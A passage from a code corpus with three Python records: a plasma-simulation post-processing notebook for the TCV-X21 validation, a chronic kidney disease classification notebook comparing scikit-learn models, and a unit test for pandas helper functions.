[{z_sample.units}]\")\n\nplt.figure()\nplot_rdpa_field(lineouts[\"rdpa\"], snaps.electron_temp.mean(dim=(\"phi\", \"tau\")))\n\nif test_session:\n    plt.close(\"all\")\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# ## Integral values for sources\n#\n# As well as profiles, we are also interested in integrals of the sources, to determine whether\n# we are using a source in the region of the experimental values.\n#\n# The sources in GRILLIX are given in the file tcvx21/grillix_analysis/sources_m.py. In GRILLIX we have\n# set a 'constant-power, constant-particle' source. That is, we actively adapt our electron-temperature\n# source to compensate for the power due to the particle source. This way, we inject a constant\n# 150kW exactly. This is deposited in the core as a temperature source. However, since the density source\n# also contributes to the power source we compensate for this by adding a negative temperature source\n# at the edge.\n#\n# $P = \\frac{3}{2}\\int n S_{T_e} + (T_e + T_i) S_n \\textrm{d}^3V$\n#\n# We are using\n# $S_n = n_0 / \\tau_0 \\hat{S}_n$\n# where\n#\n# $\\hat{S}_n = \\hat{S}_{n0} f_{S,n}(R,Z) = \\hat{S}_{n0} \\exp\\left[-\\left(\\rho(R,Z)^2 - \\rho_{cn}^2 \\right)/\\rho_{wn}^2\\right]$\n#\n# for $\\rho_{cn} = 0.815$ and $\\rho_{wn} =0.083$, and\n#\n# $S_{Te} = T_{0} / \\tau_0 \\left(\\frac{1}{\\hat{n}}\\hat{S}_{Te} - \\frac{\\hat{T}_e + \\hat{T}_i}{\\hat{n}} \\hat{S}_n \\right)$\n#\n# where\n#\n# $\\hat{S}_{Te} = \\hat{S}_{Te0} f_{S,Te}(R,Z) = \\hat{S}_{Te0} \\left(1 - \\mathcal{S}_3(\\rho, \\rho_{cT}, \\rho_{wT})\\right)$\n#\n# for $\\mathcal{S}_3(x, c, w)$ is a third-order [smoothstep](https://en.wikipedia.org/wiki/Smoothstep) function\n# centred at $c$ and of transition width $w$.\n#\n# This allows us to write\n#\n# $P = \\frac{3}{2}\\iiint n_0 \\hat{n} T_{0} / \\tau_0 \\left(\\frac{1}{\\hat{n}}\\hat{S}_{Te} - \\frac{\\hat{T}_e + \\hat{T}_i}{\\hat{n}} \\hat{S}_n \\right) + T_0(\\hat{T}_e + \\hat{T}_i) n_0 / \\tau_0 \\hat{S}_n \\textrm{d}^3V$\n#\n# $P= \\frac{3}{2}\\frac{n_0 T_0}{\\tau_0} \\iiint \\hat{S}_{Te} - (\\hat{T}_e + \\hat{T}_i) \\hat{S}_n + (\\hat{T}_e + \\hat{T}_i) \\hat{S}_n \\textrm{d}^3V$\n#\n# $P= \\frac{3}{2}\\frac{n_0 T_0}{\\tau_0} \\hat{S}_{Te0} \\iiint f_{S,Te}(R,Z) \\textrm{d}^3V$\n#\n# $P= \\frac{3}{2}\\frac{n_0 T_0}{\\tau_0} \\hat{S}_{Te0} \\mathcal{V}_w$\n#\n# That is, our power injection is determined entirely by our core electron temperature source.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\ngrillix.components.integrated_sources(grid, equi, norm, params, snaps)\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# ## Iterating over all observables\n#\n# The final step to producing a standard NetCDF file for comparison is to iterate over each element\n# of the standard dictionary and fill the dictionary with results.\n# We then use the `RecordWriter`\n# to convert the standard dictionary into a NetCDF file.\n#\n# Since the raw data is very large (does not fit in memory), we do a two-step post-processing. In the first step, we iterate\n# over the time points in our raw data to compute the raw observables at the observable positions.\n# These are iteratively written to an intermediate processing file. In the second\n# step, we perform statistics over the processing file, calculating the data used for the validation\n# analysis.\n#\n# The first step is done with the `fill_work_file()` method of the `DataExtract` object.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nfrom tcvx21.grillix_post.work_file_writer_m import WorkFileWriter\n\n(file_path / \"processing_file.nc\").unlink(missing_ok=True)\n\ndata = WorkFileWriter(\n    file_path=file_path,\n    work_file=file_path / \"processing_file.nc\",\n    toroidal_field_direction=\"forward\",\n    make_work_file=True,\n)\n\ndata.fill_work_file()\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# In the second step, we need to make a `Record`, which is a NetCDF file formatted according\n# to the data template in `observables.json`.\n#\n# The validation is done in terms of statistical moments, rather than raw values.\n#\n# To compute statistical values and the uncertainty associated with it, we use the bootstrap\n# method. We take samples from all toroidal planes, and 1ms of data (500 snaps).\n#\n# We select values from the samples available for each observable point *with replacement*. This means that some points may be double-counted,\n# and some may be missed entirely.\n#\n# We repeat this a number of times, to generate a number of *tests*.\n#\n# Finally, we compute the median of the tests and a confidence interval -- which gives us a\n# robust estimator for the statistical moment and its uncertainty.\n#\n# The 65% and 95% confidence intervals are shown for the different statistical moments of $J_{sat}$\n#\n# Note that since we only have 5 time points here, the uncertainty is\n# higher than for the real result with 500 time points.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nimport xarray as xr\n\n\ndef Q(netcdf_array):\n    \"\"\"Converts netcdf arrays to Quantities\"\"\"\n    return Quantity(netcdf_array.values, netcdf_array.units)\n\n\ndef plot_region(x, y, dy, label):\n    plt.plot(x, y, label=label)\n    plt.fill_between(x, y - dy, y + dy, alpha=0.2)\n\n\nwork_file_path = file_path / \"processing_file.nc\"\nvalues = (\n    xr.open_dataset(work_file_path, group=\"LFS-LP/observables\")\n    .jsat.isel(tau=slice(-500, None))\n    .persist()\n)\nRsep = Q(xr.open_dataset(work_file_path, group=\"LFS-LP\").Rsep)\n\nfor moment in [\"mean\", \"std\", \"skew\", \"kurt\"]:\n    plt.figure()\n\n    mean, error = tcvx21.analysis.compute_statistical_moment_with_bootstrap(\n        values=values, moment=moment, ci=0.95, n_tests=1000\n    )\n    plot_region(Rsep, Q(mean), Q(error), label=\"95%\")\n\n    mean, error = tcvx21.analysis.compute_statistical_moment_with_bootstrap(\n        values=values, moment=moment, ci=0.65, n_tests=1000\n    )\n    plot_region(Rsep, Q(mean), Q(error), label=\"65%\")\n\n    plt.legend(title=\"Confidence interval\")\n    plt.title(f\"$J_{{sat}}$ {moment} on low-field-side target\")\n\nif test_session:\n    plt.close(\"all\")\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nfrom netCDF4 import Dataset\n\nstandard_dict = read_from_json(tcvx21.template_file)\nsimulation_hierarchy = read_from_json(file_path / \"simulation_hierarchy.json\")\nwork_file_path = file_path / \"processing_file.nc\"\n\ndataset = Dataset(work_file_path)\n\n\ndef strip_moment(observable_key):\n    if observable.endswith(\"_std\"):\n        moment = \"std\"\n        key = observable_key.rstrip(\"std\").rstrip(\"_\")\n    elif observable.endswith(\"_skew\"):\n        moment = \"skew\"\n        key = observable_key.rstrip(\"skew\").rstrip(\"_\")\n    elif observable.endswith(\"_kurtosis\"):\n        moment = \"kurt\"\n        key = observable_key.rstrip(\"kurtosis\").rstrip(\"_\")\n    else:\n        moment = \"mean\"\n        key = observable_key\n    return key, moment\n\n\ndef write_observable(diagnostic_key, observable_key, output_dict):\n\n    print(f\"\\tProcessing {diagnostic_key}:{observable_key}\")\n\n    observable_key, moment = strip_moment(observable_key)\n\n    diagnostic = xr.open_dataset(work_file_path, group=diagnostic_key)\n    observable = xr.open_dataset(work_file_path, group=f\"{diagnostic_key}/observables\")[\n        observable_key\n    ]\n    observable = observable.isel(tau=slice(-500, None)).persist()\n\n    output_dict[\"simulation_hierarchy\"] = simulation_hierarchy[\n        observable_key if moment != \"lambda_q\" else moment\n    ]\n\n    value, error = tcvx21.analysis.compute_statistical_moment_with_bootstrap(\n        observable, moment=moment\n    )\n\n    output_dict[\"values\"] = Q(value).to(output_dict[\"units\"]).magnitude\n    output_dict[\"errors\"] = Q(error).to(output_dict[\"units\"]).magnitude\n\n    for variable_key in diagnostic.variables.keys():\n        variable = diagnostic[variable_key]\n        output_key = variable_key.replace(\"Rsep\", \"Ru\")\n\n        output_dict[output_key] = variable.values\n        output_dict[f\"{output_key}_units\"] = getattr(variable, \"units\", \"\")\n\n\nprint(\"Filling standard dict\")\n\nfor diagnostic, diagnostic_dict in standard_dict.items():\n    for observable, observable_dict in diagnostic_dict[\"observables\"].items():\n        write_observable(diagnostic, observable, observable_dict)\n\nprint(\"Done\")\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# Finally, we write this into a standard NetCDF\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nfrom tcvx21.record_c.record_writer_m import RecordWriter\n\nwriter = RecordWriter(\n    file_path=file_path / \"GRILLIX_example.nc\",\n    descriptor=\"GRX\",\n    description=Path(file_path / \"description.txt\").read_text(),\n    allow_overwrite=True,\n)\n\nwriter.write_data_dict(standard_dict)\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# To perform the entire setup and file write in a single step, you can also use\n# the following command, although this is more for convenience\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nfrom tcvx21.grillix_post.validation_writer_m import (\n    convert_work_file_to_validation_netcdf,\n)\n\nconvert_work_file_to_validation_netcdf(\n    work_file=file_path / \"processing_file.nc\",\n    output_file=file_path / \"GRILLIX_example.nc\",\n    simulation_hierarchy=tcvx21.read_from_json(\n        tcvx21.grillix_dir / \"simulation_hierarchy.json\"\n    ),\n)\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# We can then load this as a `Record` -- a NetCDF file which has a rigid common\n# structure shared between the simulations and the experiment.\n#\n# This allows us to write interfaces to the data -- i.e. plotting routines -- and\n# don't have to worry about which data source the data is coming from\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nfrom tcvx21.record_c.record_m import Record\n\nds = Record(file_path / \"GRILLIX_example.nc\", color=\"C1\", label=\"GRILLIX\")\n\nplt.figure()\nds.get_observable(\"LFS-LP\", \"density\").plot()\n\nplt.figure()\nds.get_observable(\"RDPA\", \"density\").plot(log_cbar=True)\n\nif test_session:\n    plt.close(\"all\")\n# %%\n", "meta": {"hexsha": "3a35ab7a14308642e01599d6d47e6ab0795ac2b1", "size": 28322, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/simulation_postprocessing.py", "max_stars_repo_name": "dsoliveir/TCV-X21", "max_stars_repo_head_hexsha": "784c55adb33417e21a6736e2504a3895a9348dbe", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-12-13T11:52:39.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-13T11:52:39.000Z", "max_issues_repo_path": "notebooks/simulation_postprocessing.py", "max_issues_repo_name": "dsoliveir/TCV-X21", "max_issues_repo_head_hexsha": "784c55adb33417e21a6736e2504a3895a9348dbe", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2021-12-18T17:18:52.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-26T09:23:23.000Z", "max_forks_repo_path": "notebooks/simulation_postprocessing.py", "max_forks_repo_name": "dsoliveir/TCV-X21", "max_forks_repo_head_hexsha": "784c55adb33417e21a6736e2504a3895a9348dbe", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-12-13T12:56:09.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-25T20:30:28.000Z", "avg_line_length": 36.7818181818, "max_line_length": 212, "alphanum_fraction": 0.7184167785, "include": true, "reason": "import numpy,from scipy", "num_tokens": 7810, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.16238003666671086, "lm_q1q2_score": 0.08119001833335543}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# **Data cleaning&Classification algorithms comparison**\n\n# **In this study, chronic kidney disease was estimated using classification algorithms. You'll find this kernel;**\n#             * The codes I think will be useful for data cleaning\n#             * How to Handle Missing Data,what did I do?\n#             * Data Visualization\n#             *  Classification Algorithms\n#                 -KNN\n#                 -Navie-Bayes\n#                 -Logistic Regression\n#                 -Decision Tree\n#                 -Random Forest\n#                 -Support Vector Machine          \n#             * Success rate of classification algorithms\n#             * Conclusion\n# \n# \n\n# In[ ]:\n\n\n# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load in \n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport matplotlib.pyplot as plt\nimport seaborn as sns #for confusion matrix\n#For data visualization\nimport plotly.plotly as py\nfrom plotly.offline import init_notebook_mode, iplot\ninit_notebook_mode(connected=True)\nimport plotly.graph_objs as go\n# Input data files are available in the \"../../../input/mansoordaku_ckdisease/\" directory.\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\n\nimport warnings \nwarnings.filterwarnings('ignore')\n\nimport os\nprint(os.listdir(\"../../../input/mansoordaku_ckdisease\"))\n\n# Any results you write to the current directory are saved as output.\n\n\n# In[ ]:\n\n\ndata=pd.read_csv(\"../../../input/mansoordaku_ckdisease/kidney_disease.csv\")\n\n\n# In[ ]:\n\n\ndata.info() #data types and feature names. \n            #I'll change the data types of some parameters in the following codes\n\n\n# In[ ]:\n\n\ndata.head() #first 5 samples in dataset\n\n\n# In[ ]:\n\n\ndata.classification.unique() \n\n\n# **PREPARE DATA**\n# \n# **1) 3 unique values appear in the data set. However, there is no value called  \"ckd\\t. \"  I have written the following code to solve this problem.**\n\n# In[ ]:\n\n\ndata.classification=data.classification.replace(\"ckd\\t\",\"ckd\") \n\n\n# In[ ]:\n\n\ndata.classification.unique() #problem solved.\n\n\n# **2) The \"id\" parameter will not work for classification, so I'm removing this parameter from the data set.**\n\n# In[ ]:\n\n\ndata.drop(\"id\",axis=1,inplace=True) \n\n\n# In[ ]:\n\n\ndata.head() #id parameter dropped.\n\n\n# **3) I changed the target parameter values to 1 and 0 to be able to use the classification algorithms. If the value is \"ckd\" is 1, if not equal to 0. **\n\n# In[ ]:\n\n\ndata.classification=[1 if each==\"ckd\" else 0 for each in data.classification]\n\n\n# In[ ]:\n\n\ndata.head()\n\n\n# **4) I used the following code to find out how many \"NaN\" values in which parameter.**\n\n# In[ ]:\n\n\ndata.isnull().sum() \n\n\n# \n# **5)Sometimes instead of Nan in the data set, \"?\" value can be found. To solve this problem ; **df = data [(data! = '?'). all (axis = 1)]** can be used.**\n# \n\n#                        **How to Handle Missing Data,what did I do?**\n# \n# Pandas provides the dropna() function that can be used to drop either columns or rows with missing data. We can use dropna() to remove all rows with missing data\n# Removing rows with missing values can be too limiting on some predictive modeling problems, an alternative is to impute missing values.\n# Imputing refers to using a model to replace missing values.\n# \n# There are many options we could consider when replacing a missing value, for example:\n# \n#     A constant value that has meaning within the domain, such as 0, distinct from all other values.\n#     A value from another randomly selected record.\n#     A mean, median or mode value for the column.\n#     A value estimated by another predictive model.    \n# \n# Pandas provides the fillna() function for replacing missing values with a specific value.\n# \n# For example, we can use fillna() to replace missing values with the mean value for each column,\n# For example; dataset.fillna(dataset.mean(), inplace=True)\n\n# **6) I can use dropna() to remove all rows with missing data**\n#   \n# There were 25 parameters of 400 samples before writing this code. After writing this code, there are 25 parameters left in 158 examples.\n# \n# The number of samples decreased but the reliability of the model increased.\n\n# In[ ]:\n\n\n\ndf=data.dropna(axis=0)\nprint(data.shape)\nprint(df.shape) \ndf.head()\n\n\n# **7) indexes are not sequential as you can see in the table above. I used the following code to sort indexes.**\n\n# In[ ]:\n\n\ndf.index=range(0,len(df),1)\ndf.head()\n\n\n# **8) I corrected some of the parameters.**\n\n# In[ ]:\n\n\n#you can see that the values have changed.\ndf.wc=df.wc.replace(\"\\t6200\",6200)\ndf.wc=df.wc.replace(\"\\t8400\",8400) \nprint(df.loc[11,[\"wc\"]])\nprint(df.loc[20,[\"wc\"]])\n\n\n# **9) I'll change the data types of some parameters **\n\n# In[ ]:\n\n\ndf.pcv=df.pcv.astype(int)\ndf.wc=df.wc.astype(int)\ndf.rc=df.rc.astype(float)\ndf.info()\n\n\n# **10)Keep in mind, the goal in this section is to have all the columns as numeric columns (int or float data type), and containing no missing values. We just dealt with the missing values, so let's now find out the number of columns that are of the object data type and then move on to process them into numeric form.**\n\n# In[ ]:\n\n\ndtype_object=df.select_dtypes(include=['object'])\ndtype_object.head()\n\n\n# **11)display a sample row to get a better sense of how the values in each column are formatted.**\n\n# In[ ]:\n\n\nfor x in dtype_object.columns:\n    print(\"{} unique values:\".format(x),df[x].unique())\n    print(\"*\"*20)\n\n\n# **12)The ordinal values to integers, we can use the pandas DataFrame method replace() to\"rbc\",\"pc\",\"pcc\",\"ba\",\"htn\",\"dm\",\"cad\",\"appet\",\"pe\" and \"ane\" to appropriate numeric values**\n\n# In[ ]:\n\n\ndictonary = { \"rbc\": { \"abnormal\":1, \"normal\": 0, }, \"pc\":{ \"abnormal\":1, \"normal\": 0, }, \"pcc\":{ \"present\":1, \"notpresent\":0, }, \"ba\":{ \"notpresent\":0, \"present\": 1, }, \"htn\":{ \"yes\":1, \"no\": 0, }, \"dm\":{ \"yes\":1, \"no\":0, }, \"cad\":{ \"yes\":1, \"no\": 0, }, \"appet\":{ \"good\":1, \"poor\": 0, }, \"pe\":{ \"yes\":1, \"no\":0, }, \"ane\":{ \"yes\":1, \"no\":0, } } \n\n\n\n# In[ ]:\n\n\n#We used categorical values as numerical to replace them.\ndf=df.replace(dictonary)\n\n\n# In[ ]:\n\n\ndf.head() #All values are numerical.\n\n\n# **VISUALIZATION**\n\n# In[ ]:\n\n\n#HEAT MAP #correlation of parameters \nf,ax=plt.subplots(figsize=(15,15))\nprint()\nplt.xticks(rotation=45)\nplt.yticks(rotation=45)\nprint()\n\n\n# In[ ]:\n\n\n#box-plot\ntrace0 = go.Box( y=df.bp, name = 'Bp', marker = dict( color = 'rgb(12, 12, 140)', ) ) \ntrace1 = go.Box( y=df.sod, name = 'Sod', marker = dict( color = 'rgb(12, 128, 128)', ) ) \ndata = [trace0, trace1]\niplot(data)\n\n\n# In[ ]:\n\n\n#Line plot\ndf2=df.copy()\ndf2[\"id\"]=range(1,(len(df.ba)+1),1)\ndf2[\"df2_bp_norm\"]=(df2.bp-np.min(df2.bp))/(np.max(df2.bp)-np.min(df2.bp))\ndf2[\"df2_hemo_norm\"]=(df2.hemo-np.min(df2.hemo))/(np.max(df2.hemo)-np.min(df2.hemo))\n#Line Plot\ntrace1 = go.Scatter( x = df2.id, y = df2.df2_bp_norm, mode = \"lines\", name = \"Blood Press.\", marker = dict(color = 'rgba(16, 112, 2, 0.8)'), text= df.age) \ntrace2 = go.Scatter( x = df2.id, y = df2.df2_hemo_norm, mode = \"lines+markers\", name = \"Hemo\", marker = dict(color = 'rgba(80, 26, 80, 0.8)'), text= df.age) \ndata=[trace1,trace2]\nlayout=dict(title=\"Blood Press and Hemoglobin values according the age\", xaxis=dict(title=\"\u0130d\",ticklen=5,zeroline=False)) \nfig=dict(data=data,layout=layout)\niplot(fig)\n\n\n# **CLASSIFICATION ALGORITHMS**\n\n# In[ ]:\n\n\nscore=[] #these variables will be used to show the algorithm name and its successes.\nalgorithms=[] \n\n\n# In[ ]:\n\n\n#KNN\nfrom sklearn.neighbors import KNeighborsClassifier\ny=df[\"classification\"].values\nx_data=df.drop([\"classification\"],axis=1)\n\n#Normalization\nx=(x_data-np.min(x_data))/(np.max(x_data)-np.min(x_data))\n\n#Preparing the test and training set\nfrom sklearn.model_selection import train_test_split\nx_train,x_test,y_train,y_test=train_test_split(x,y,random_state=1,test_size=0.3)\n\n#model and accuracy\nknn=KNeighborsClassifier(n_neighbors=3)\nknn.fit(x_train,y_train)\nknn.predict(x_test)\nscore.append(knn.score(x_test,y_test)*100)\nalgorithms.append(\"KNN\")\nprint(\"KNN accuracy =\",knn.score(x_test,y_test)*100)\n\n#Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ny_pred=knn.predict(x_test)\ny_true=y_test\ncm=confusion_matrix(y_true,y_pred)\n\n#Confusion Matrix on Heatmap\nf,ax=plt.subplots(figsize=(5,5))\nprint()\nplt.xlabel(\"y_pred\")\nplt.ylabel(\"y_true\")\nplt.title(\" KNN Confusion Matrix\")\nprint()\n#%%\n\n\n# In[ ]:\n\n\n#Navie-Bayes\nfrom sklearn.naive_bayes import GaussianNB\nnb=GaussianNB()\n\n#Training\nnb.fit(x_train,y_train)\n#Test\nscore.append(nb.score(x_test,y_test)*100)\nalgorithms.append(\"Navie-Bayes\")\nprint(\"Navie Bayes accuracy =\",nb.score(x_test,y_test)*100)\n\n#Confusion Matrix \nfrom sklearn.metrics import confusion_matrix\ny_pred=nb.predict(x_test)\ny_true=y_test\ncm=confusion_matrix(y_true,y_pred)\n\n#Confusion Matrix on Heatmap\nf,ax=plt.subplots(figsize=(5,5))\nprint()\nplt.xlabel(\"y_pred\")\nplt.ylabel(\"y_true\")\nplt.title(\"Navie Bayes Confusion Matrix\")\nprint()\n\n\n# In[ ]:\n\n\n#RANDOM FOREST\nfrom sklearn.ensemble import RandomForestClassifier\nrf=RandomForestClassifier(n_estimators=100,random_state=1)\nrf.fit(x_train,y_train)\nscore.append(rf.score(x_test,y_test)*100)\nalgorithms.append(\"Random Forest\")\nprint(\"Random Forest accuracy =\",rf.score(x_test,y_test))\n\n#Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ny_pred=rf.predict(x_test)\ny_true=y_test\ncm=confusion_matrix(y_true,y_pred)\n\n#Confusion Matrix on Heatmap\nf,ax=plt.subplots(figsize=(5,5))\nprint()\nplt.xlabel(\"y_pred\")\nplt.ylabel(\"y_true\")\nplt.title(\"Random Forest Confusion Matrix\")\nprint()\n\n\n# In[ ]:\n\n\n#Support Vector Machine\nfrom sklearn.svm import SVC\nsvm=SVC(random_state=1)\nsvm.fit(x_train,y_train)\nscore.append(svm.score(x_test,y_test)*100)\nalgorithms.append(\"Support Vector Machine\")\nprint(\"svm test accuracy =\",svm.score(x_test,y_test)*100)\n\n#Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ny_pred=svm.predict(x_test)\ny_true=y_test\ncm=confusion_matrix(y_true,y_pred)\n\n#Confusion Matrix on Heatmap\nf,ax=plt.subplots(figsize=(5,5))\nprint()\nplt.xlabel(\"y_pred\")\nplt.ylabel(\"y_true\")\nplt.title(\"Support Vector Machine Confusion Matrix\")\nprint()\n\n\n# In[ ]:\n\n\n#Decision Tree \nfrom sklearn.tree import DecisionTreeClassifier\ndt=DecisionTreeClassifier()\ndt.fit(x_train,y_train)\nprint(\"Decision Tree accuracy:\",dt.score(x_test,y_test)*100)\nscore.append(dt.score(x_test,y_test)*100)\nalgorithms.append(\"Decision Tree\")\n\n#Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ny_pred=dt.predict(x_test)\ny_true=y_test\ncm=confusion_matrix(y_true,y_pred)\n\n#Confusion Matrix on Heatmap\nf,ax=plt.subplots(figsize=(5,5))\nprint()\nplt.xlabel(\"y_pred\")\nplt.ylabel(\"y_true\")\nplt.title(\"Decision Tree Confusion Matrix\")\nprint()\n\n\n# In[ ]:\n\n\nfrom sklearn.linear_model import LogisticRegression\nlr = LogisticRegression()\nlr.fit(x_train,y_train)\nscore.append(lr.score(x_test,y_test)*100)\nalgorithms.append(\"Logistic Regression\")\nprint(\"test accuracy {}\".format(lr.score(x_test,y_test)))\n#Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ny_pred=lr.predict(x_test)\ny_true=y_test\ncm=confusion_matrix(y_true,y_pred)\n#Confusion Matrix on Heatmap\nf,ax=plt.subplots(figsize=(5,5))\nprint()\nplt.xlabel(\"y_pred\")\nplt.ylabel(\"y_true\")\nplt.title(\"Logistic Regression Confusion Matrix\")\nprint()\n\n\n# In[ ]:\n\n\ntrace1 = { 'x': algorithms, 'y': score, 'name': 'score', 'type': 'bar' } \n\n\n# In[ ]:\n\n\ndata = [trace1];\nlayout = { 'xaxis': {'title': 'Classification Algorithms'}, 'title': 'Comparison of the accuracy of classification algorithms' }; \nfig = go.Figure(data = data, layout = layout)\niplot(fig)\n\n\n# **CONCLUSION**\n# \n# In this study, there were 400 samples and 26 parameters.However, some samples had no parameter values. For this reason, I prepared the data to use the classification algorithms. I did data visualization work.  I applied classification algorithms and compared success rates with each other.   It was a nice work for me. I hope you like it.\n# If you have questions and suggestions, you can comment. Because your questions and suggestions are very valuable for me.\n#      \n", "meta": {"hexsha": "e6132147613f5ad437436599ad21e4e766cd320f", "size": 12292, "ext": "py", "lang": "Python", "max_stars_repo_path": "relancer-exp/original_notebooks/mansoordaku_ckdisease/data-cleaning-classification-algorithms-comparison.py", "max_stars_repo_name": "Chenguang-Zhu/relancer", "max_stars_repo_head_hexsha": "bf1a175b77b7da4cff12fbc5de17dd55246d264d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-05T22:27:49.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-05T22:27:49.000Z", "max_issues_repo_path": "relancer-exp/original_notebooks/mansoordaku_ckdisease/data-cleaning-classification-algorithms-comparison.py", "max_issues_repo_name": "Chenguang-Zhu/relancer", "max_issues_repo_head_hexsha": "bf1a175b77b7da4cff12fbc5de17dd55246d264d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "relancer-exp/original_notebooks/mansoordaku_ckdisease/data-cleaning-classification-algorithms-comparison.py", "max_forks_repo_name": "Chenguang-Zhu/relancer", "max_forks_repo_head_hexsha": "bf1a175b77b7da4cff12fbc5de17dd55246d264d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.8235294118, "max_line_length": 345, "alphanum_fraction": 0.7059876342, "include": true, "reason": "import numpy", "num_tokens": 3303, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.1623800346399628, "lm_q1q2_score": 0.0811900173199814}}
{"text": "\"\"\"\n@brief      test log(time=1s)\n\"\"\"\n\nimport sys\nimport os\nimport unittest\nimport pandas\nimport numpy\nfrom pyquickhelper.loghelper import fLOG\n\ntry:\n    import src\nexcept ImportError:\n    path = os.path.normpath(\n        os.path.abspath(\n            os.path.join(\n                os.path.split(__file__)[0],\n                \"..\",\n                \"..\")))\n    if path not in sys.path:\n        sys.path.append(path)\n    import src\n\n\nfrom src.ensae_teaching_cs.faq.faq_pandas import groupby_topn, df_equal\n\n\nclass TestFaqPandas(unittest.TestCase):\n\n    def test_groupby_sort_head(self):\n        fLOG(\n            __file__,\n            self._testMethodName,\n            OutputPrint=__name__ == \"__main__\")\n\n        ld = [dict(k1=\"a\", k2=\"b\", v=4, i=1),\n              dict(k1=\"a\", k2=\"b\", v=5, i=1),\n              dict(k1=\"a\", k2=\"b\", v=4, i=2),\n              dict(k1=\"b\", k2=\"b\", v=1, i=2),\n              dict(k1=\"b\", k2=\"b\", v=1, i=3)]\n\n        exp = [dict(k1=\"a\", k2=\"b\", v=4, i=1),\n               dict(k1=\"b\", k2=\"b\", v=1, i=2)]\n\n        df = pandas.DataFrame(ld)\n        exp = pandas.DataFrame(exp)\n\n        res = groupby_topn(df, by_keys=[\"k1\", \"k2\"],\n                           sort_keys=[\"v\", \"i\"], as_index=False)\n        b = df_equal(exp, res)\n        if not b:\n            raise Exception(\n                \"dataframe not equal\\nRES:\\n{0}\\nEXP\\n{1}\".format(str(res), str(exp)))\n\n    def test_df_equal(self):\n        fLOG(\n            __file__,\n            self._testMethodName,\n            OutputPrint=__name__ == \"__main__\")\n\n        exp1 = pandas.DataFrame(\n            [dict(k1=\"a\", k2=\"b\", v=4, i=1), dict(k1=\"b\", k2=\"b\", v=1, i=2)])\n        exp2 = pandas.DataFrame(\n            [dict(k1=\"a\", k2=\"b\", v=4, i=1), dict(k1=\"b\", k2=\"b\", v=1, i=2)])\n        assert df_equal(exp1, exp2)\n\n        exp1 = pandas.DataFrame(\n            [dict(k1=\"a\", k2=\"b\", v=4, i=1), dict(k1=\"b\", k2=\"b\", v=1, i=2)])\n        exp2 = pandas.DataFrame(\n            [dict(k1=\"a\", k2=\"b\", v=4, i=1), dict(k1=\"b\", k2=\"b\", v=1, i=2)])\n        exp2 = exp2[[\"k2\", \"k1\", \"v\", \"i\"]]\n        assert df_equal(exp1, exp2)\n\n        exp1 = pandas.DataFrame(\n            [dict(k1=\"a\", k2=\"b\", v=4, i=1), dict(k1=\"b\", k2=\"b\", v=1, i=2)])\n        exp2 = pandas.DataFrame(\n            [dict(k1=\"a\", k2=\"b\", v=3, i=1), dict(k1=\"b\", k2=\"b\", v=1, i=2)])\n        assert not df_equal(exp1, exp2)\n\n        exp1 = pandas.DataFrame(\n            [dict(k1=\"a\", k2=\"b\", v=4, i=1), dict(k1=\"b\", k2=\"b\", v=1, i=2)])\n        exp2 = pandas.DataFrame(\n            [dict(k1=\"a\", k2=\"b\", v=numpy.nan, i=1), dict(k1=\"b\", k2=\"b\", v=1, i=2)])\n        assert not df_equal(exp1, exp2)\n\n        exp1 = pandas.DataFrame(\n            [dict(k1=\"a\", k2=\"b\", v=numpy.nan, i=1), dict(k1=\"b\", k2=\"b\", v=1, i=2)])\n        exp2 = pandas.DataFrame(\n            [dict(k1=\"a\", k2=\"b\", v=numpy.nan, i=1), dict(k1=\"b\", k2=\"b\", v=1, i=2)])\n        assert not df_equal(exp1, exp2)\n\n\nif __name__ == 